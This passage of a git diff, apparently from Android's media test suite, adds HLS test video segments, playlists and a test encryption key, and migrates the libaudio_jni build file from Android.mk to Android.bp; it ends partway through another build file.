diff --git a/tests/tests/media/assets/hls_variant/344388/10.ts b/tests/tests/media/assets/hls_variant/344388/10.ts
new file mode 100644
index 0000000..910dd43
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/11.ts b/tests/tests/media/assets/hls_variant/344388/11.ts
new file mode 100644
index 0000000..892a6b3
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/12.ts b/tests/tests/media/assets/hls_variant/344388/12.ts
new file mode 100644
index 0000000..2a8bfeb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/13.ts b/tests/tests/media/assets/hls_variant/344388/13.ts
new file mode 100644
index 0000000..bf9f1a4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/14.ts b/tests/tests/media/assets/hls_variant/344388/14.ts
new file mode 100644
index 0000000..45c604c
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/15.ts b/tests/tests/media/assets/hls_variant/344388/15.ts
new file mode 100644
index 0000000..4d5de4f
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/16.ts b/tests/tests/media/assets/hls_variant/344388/16.ts
new file mode 100644
index 0000000..9551838
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/17.ts b/tests/tests/media/assets/hls_variant/344388/17.ts
new file mode 100644
index 0000000..dde4452
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/18.ts b/tests/tests/media/assets/hls_variant/344388/18.ts
new file mode 100644
index 0000000..c7b3919
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/19.ts b/tests/tests/media/assets/hls_variant/344388/19.ts
new file mode 100644
index 0000000..5aa3c84
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/20.ts b/tests/tests/media/assets/hls_variant/344388/20.ts
new file mode 100644
index 0000000..0d509bb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/21.ts b/tests/tests/media/assets/hls_variant/344388/21.ts
new file mode 100644
index 0000000..252a953
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/22.ts b/tests/tests/media/assets/hls_variant/344388/22.ts
new file mode 100644
index 0000000..7098fdd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/23.ts b/tests/tests/media/assets/hls_variant/344388/23.ts
new file mode 100644
index 0000000..69bd886
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/24.ts b/tests/tests/media/assets/hls_variant/344388/24.ts
new file mode 100644
index 0000000..0542cc2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/344388/index.m3u8 b/tests/tests/media/assets/hls_variant/344388/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/344388/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/387360/00.ts b/tests/tests/media/assets/hls_variant/387360/00.ts
new file mode 100644
index 0000000..c7233c2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/01.ts b/tests/tests/media/assets/hls_variant/387360/01.ts
new file mode 100644
index 0000000..4d092dd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/02.ts b/tests/tests/media/assets/hls_variant/387360/02.ts
new file mode 100644
index 0000000..5b0322e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/03.ts b/tests/tests/media/assets/hls_variant/387360/03.ts
new file mode 100644
index 0000000..5081ef0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/04.ts b/tests/tests/media/assets/hls_variant/387360/04.ts
new file mode 100644
index 0000000..0f6f0fe
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/05.ts b/tests/tests/media/assets/hls_variant/387360/05.ts
new file mode 100644
index 0000000..e455dec
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/06.ts b/tests/tests/media/assets/hls_variant/387360/06.ts
new file mode 100644
index 0000000..14afcb9d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/07.ts b/tests/tests/media/assets/hls_variant/387360/07.ts
new file mode 100644
index 0000000..6f23d02
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/08.ts b/tests/tests/media/assets/hls_variant/387360/08.ts
new file mode 100644
index 0000000..a3d8dfd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/09.ts b/tests/tests/media/assets/hls_variant/387360/09.ts
new file mode 100644
index 0000000..87d6de1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/10.ts b/tests/tests/media/assets/hls_variant/387360/10.ts
new file mode 100644
index 0000000..04ab37a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/11.ts b/tests/tests/media/assets/hls_variant/387360/11.ts
new file mode 100644
index 0000000..1fa238b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/12.ts b/tests/tests/media/assets/hls_variant/387360/12.ts
new file mode 100644
index 0000000..445b0b9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/13.ts b/tests/tests/media/assets/hls_variant/387360/13.ts
new file mode 100644
index 0000000..6bcd81b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/14.ts b/tests/tests/media/assets/hls_variant/387360/14.ts
new file mode 100644
index 0000000..f3f8e78
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/15.ts b/tests/tests/media/assets/hls_variant/387360/15.ts
new file mode 100644
index 0000000..6b12e72
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/16.ts b/tests/tests/media/assets/hls_variant/387360/16.ts
new file mode 100644
index 0000000..d95eeba
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/17.ts b/tests/tests/media/assets/hls_variant/387360/17.ts
new file mode 100644
index 0000000..141ae44
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/18.ts b/tests/tests/media/assets/hls_variant/387360/18.ts
new file mode 100644
index 0000000..fc52f1d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/19.ts b/tests/tests/media/assets/hls_variant/387360/19.ts
new file mode 100644
index 0000000..077db9b
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/20.ts b/tests/tests/media/assets/hls_variant/387360/20.ts
new file mode 100644
index 0000000..4ffb301
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/21.ts b/tests/tests/media/assets/hls_variant/387360/21.ts
new file mode 100644
index 0000000..6072368
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/22.ts b/tests/tests/media/assets/hls_variant/387360/22.ts
new file mode 100644
index 0000000..5edc055
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/23.ts b/tests/tests/media/assets/hls_variant/387360/23.ts
new file mode 100644
index 0000000..7870e39
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/24.ts b/tests/tests/media/assets/hls_variant/387360/24.ts
new file mode 100644
index 0000000..f4fc858
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/387360/index.m3u8 b/tests/tests/media/assets/hls_variant/387360/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/387360/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/765178/00.ts b/tests/tests/media/assets/hls_variant/765178/00.ts
new file mode 100644
index 0000000..c544131
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/01.ts b/tests/tests/media/assets/hls_variant/765178/01.ts
new file mode 100644
index 0000000..11adb7a
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/02.ts b/tests/tests/media/assets/hls_variant/765178/02.ts
new file mode 100644
index 0000000..d5300f4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/03.ts b/tests/tests/media/assets/hls_variant/765178/03.ts
new file mode 100644
index 0000000..8a3ce79
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/04.ts b/tests/tests/media/assets/hls_variant/765178/04.ts
new file mode 100644
index 0000000..94b1ced
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/05.ts b/tests/tests/media/assets/hls_variant/765178/05.ts
new file mode 100644
index 0000000..d44d4a6
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/06.ts b/tests/tests/media/assets/hls_variant/765178/06.ts
new file mode 100644
index 0000000..52455dd
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/07.ts b/tests/tests/media/assets/hls_variant/765178/07.ts
new file mode 100644
index 0000000..cea2858
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/08.ts b/tests/tests/media/assets/hls_variant/765178/08.ts
new file mode 100644
index 0000000..79a1ef1
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/09.ts b/tests/tests/media/assets/hls_variant/765178/09.ts
new file mode 100644
index 0000000..6e987f2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/10.ts b/tests/tests/media/assets/hls_variant/765178/10.ts
new file mode 100644
index 0000000..c5f1af4
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/11.ts b/tests/tests/media/assets/hls_variant/765178/11.ts
new file mode 100644
index 0000000..1a96c19
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/12.ts b/tests/tests/media/assets/hls_variant/765178/12.ts
new file mode 100644
index 0000000..b6095bb
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/13.ts b/tests/tests/media/assets/hls_variant/765178/13.ts
new file mode 100644
index 0000000..b91b740
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/14.ts b/tests/tests/media/assets/hls_variant/765178/14.ts
new file mode 100644
index 0000000..d033f16
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/15.ts b/tests/tests/media/assets/hls_variant/765178/15.ts
new file mode 100644
index 0000000..f294842
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/16.ts b/tests/tests/media/assets/hls_variant/765178/16.ts
new file mode 100644
index 0000000..15a9e9e
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/16.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/17.ts b/tests/tests/media/assets/hls_variant/765178/17.ts
new file mode 100644
index 0000000..e024ce0
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/17.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/18.ts b/tests/tests/media/assets/hls_variant/765178/18.ts
new file mode 100644
index 0000000..9e7fea2
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/18.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/19.ts b/tests/tests/media/assets/hls_variant/765178/19.ts
new file mode 100644
index 0000000..4bb80bf
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/19.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/20.ts b/tests/tests/media/assets/hls_variant/765178/20.ts
new file mode 100644
index 0000000..591fda9
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/20.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/21.ts b/tests/tests/media/assets/hls_variant/765178/21.ts
new file mode 100644
index 0000000..a3cab10
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/21.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/22.ts b/tests/tests/media/assets/hls_variant/765178/22.ts
new file mode 100644
index 0000000..c60c3f8
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/22.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/23.ts b/tests/tests/media/assets/hls_variant/765178/23.ts
new file mode 100644
index 0000000..e60a254
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/23.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/24.ts b/tests/tests/media/assets/hls_variant/765178/24.ts
new file mode 100644
index 0000000..bc75f31
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/24.ts
Binary files differ
diff --git a/tests/tests/media/assets/hls_variant/765178/index.m3u8 b/tests/tests/media/assets/hls_variant/765178/index.m3u8
new file mode 100644
index 0000000..f36f33d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/765178/index.m3u8
@@ -0,0 +1,53 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:5
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXTINF:5,
+00.ts
+#EXTINF:5,
+01.ts
+#EXTINF:5,
+02.ts
+#EXTINF:5,
+03.ts
+#EXTINF:5,
+04.ts
+#EXTINF:5,
+05.ts
+#EXTINF:5,
+06.ts
+#EXTINF:5,
+07.ts
+#EXTINF:5,
+08.ts
+#EXTINF:5,
+09.ts
+#EXTINF:5,
+10.ts
+#EXTINF:5,
+11.ts
+#EXTINF:5,
+12.ts
+#EXTINF:5,
+13.ts
+#EXTINF:5,
+14.ts
+#EXTINF:5,
+15.ts
+#EXTINF:5,
+16.ts
+#EXTINF:5,
+17.ts
+#EXTINF:5,
+18.ts
+#EXTINF:5,
+19.ts
+#EXTINF:5,
+20.ts
+#EXTINF:5,
+21.ts
+#EXTINF:5,
+22.ts
+#EXTINF:5,
+23.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/assets/hls_variant/index.m3u8 b/tests/tests/media/assets/hls_variant/index.m3u8
new file mode 100644
index 0000000..2e94f5d
--- /dev/null
+++ b/tests/tests/media/assets/hls_variant/index.m3u8
@@ -0,0 +1,12 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=165340,RESOLUTION=256x144,CODECS="mp4a.40.5,avc1.42c00b"
+165340/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=344388,RESOLUTION=426x240,CODECS="mp4a.40.5,avc1.4d4015"
+344388/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=387360,RESOLUTION=640x360,CODECS="mp4a.40.2,avc1.4d401e"
+387360/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=765178,RESOLUTION=854x480,CODECS="mp4a.40.2,avc1.4d401f"
+765178/index.m3u8
+#EXT-X-STREAM-INF:CLOSED-CAPTIONS=NONE,BANDWIDTH=1676816,RESOLUTION=1280x720,CODECS="mp4a.40.2,avc1.4d401f"
+1676816/index.m3u8
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.key b/tests/tests/media/assets/unmuxed_1500k/00.key
new file mode 100644
index 0000000..eb61918
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/00.key
@@ -0,0 +1 @@
+ëÝbñhÒ{hï*üä®<
\ No newline at end of file
diff --git a/tests/tests/media/assets/unmuxed_1500k/00.ts b/tests/tests/media/assets/unmuxed_1500k/00.ts
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/00.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/01.ts b/tests/tests/media/assets/unmuxed_1500k/01.ts
new file mode 100644
index 0000000..d374565
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/01.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/02.ts b/tests/tests/media/assets/unmuxed_1500k/02.ts
new file mode 100644
index 0000000..6a6fbdb
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/02.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/03.ts b/tests/tests/media/assets/unmuxed_1500k/03.ts
new file mode 100644
index 0000000..cba18a5
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/03.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/04.ts b/tests/tests/media/assets/unmuxed_1500k/04.ts
new file mode 100644
index 0000000..bed2e63
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/04.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/05.ts b/tests/tests/media/assets/unmuxed_1500k/05.ts
new file mode 100644
index 0000000..35504ca
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/05.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/06.ts b/tests/tests/media/assets/unmuxed_1500k/06.ts
new file mode 100644
index 0000000..8456a79
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/06.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/07.ts b/tests/tests/media/assets/unmuxed_1500k/07.ts
new file mode 100644
index 0000000..e19ec6b
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/07.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/08.ts b/tests/tests/media/assets/unmuxed_1500k/08.ts
new file mode 100644
index 0000000..9a695cd
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/08.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/09.ts b/tests/tests/media/assets/unmuxed_1500k/09.ts
new file mode 100644
index 0000000..eecdb09
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/09.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/10.ts b/tests/tests/media/assets/unmuxed_1500k/10.ts
new file mode 100644
index 0000000..ce1383a
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/10.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/11.ts b/tests/tests/media/assets/unmuxed_1500k/11.ts
new file mode 100644
index 0000000..99a9ba2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/11.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/12.ts b/tests/tests/media/assets/unmuxed_1500k/12.ts
new file mode 100644
index 0000000..e63f897
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/12.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/13.ts b/tests/tests/media/assets/unmuxed_1500k/13.ts
new file mode 100644
index 0000000..50010e2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/13.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/14.ts b/tests/tests/media/assets/unmuxed_1500k/14.ts
new file mode 100644
index 0000000..8667a91
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/14.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/15.ts b/tests/tests/media/assets/unmuxed_1500k/15.ts
new file mode 100644
index 0000000..124b1b5
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/15.ts
Binary files differ
diff --git a/tests/tests/media/assets/unmuxed_1500k/index.m3u8 b/tests/tests/media/assets/unmuxed_1500k/index.m3u8
new file mode 100644
index 0000000..ee979a2
--- /dev/null
+++ b/tests/tests/media/assets/unmuxed_1500k/index.m3u8
@@ -0,0 +1,37 @@
+#EXTM3U
+#EXT-X-INDEPENDENT-SEGMENTS
+#EXT-X-VERSION:5
+#EXT-X-TARGETDURATION:10
+#EXT-X-PLAYLIST-TYPE:VOD
+#EXT-X-KEY:METHOD=SAMPLE-AES,URI="00.key",IV=0x10428210ced85ee2ece4f45206ba81ce
+#EXTINF:5.04167,
+00.ts
+#EXTINF:6.83333,
+01.ts
+#EXTINF:3.875,
+02.ts
+#EXTINF:7.29167,
+03.ts
+#EXTINF:10,
+04.ts
+#EXTINF:10,
+05.ts
+#EXTINF:4.66667,
+06.ts
+#EXTINF:8.375,
+07.ts
+#EXTINF:7.70833,
+08.ts
+#EXTINF:9.66667,
+09.ts
+#EXTINF:6.5,
+10.ts
+#EXTINF:9.79167,
+11.ts
+#EXTINF:10,
+12.ts
+#EXTINF:4.16667,
+13.ts
+#EXTINF:8.75,
+14.ts
+#EXT-X-ENDLIST
\ No newline at end of file
diff --git a/tests/tests/media/libaudiojni/Android.bp b/tests/tests/media/libaudiojni/Android.bp
new file mode 100644
index 0000000..6e1805c
--- /dev/null
+++ b/tests/tests/media/libaudiojni/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libaudio_jni",
+    srcs: [
+        "appendix-b-1-1-buffer-queue.cpp",
+        "appendix-b-1-2-recording.cpp",
+        "audio-record-native.cpp",
+        "audio-track-native.cpp",
+        "sl-utils.cpp",
+    ],
+    include_dirs: ["system/core/include"],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libnativehelper_compat_libc++",
+        "libOpenSLES",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+}
diff --git a/tests/tests/media/libaudiojni/Android.mk b/tests/tests/media/libaudiojni/Android.mk
deleted file mode 100644
index af9d989..0000000
--- a/tests/tests/media/libaudiojni/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libaudio_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := \
-	appendix-b-1-1-buffer-queue.cpp \
-	appendix-b-1-2-recording.cpp \
-	audio-record-native.cpp \
-	audio-track-native.cpp \
-	sl-utils.cpp
-
-LOCAL_C_INCLUDES := \
-	$(JNI_H_INCLUDE) \
-	system/core/include
-
-LOCAL_C_INCLUDES += $(call include-path-for, libaudiojni) \
-	$(call include-path-for, wilhelm)
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libnativehelper_compat_libc++ libOpenSLES
-LOCAL_CXX_STL := libc++
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libimagereaderjni/Android.bp b/tests/tests/media/libimagereaderjni/Android.bp
new file mode 100644
index 0000000..9dd0988
--- /dev/null
+++ b/tests/tests/media/libimagereaderjni/Android.bp
@@ -0,0 +1,32 @@
+// Copyright 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test_library {
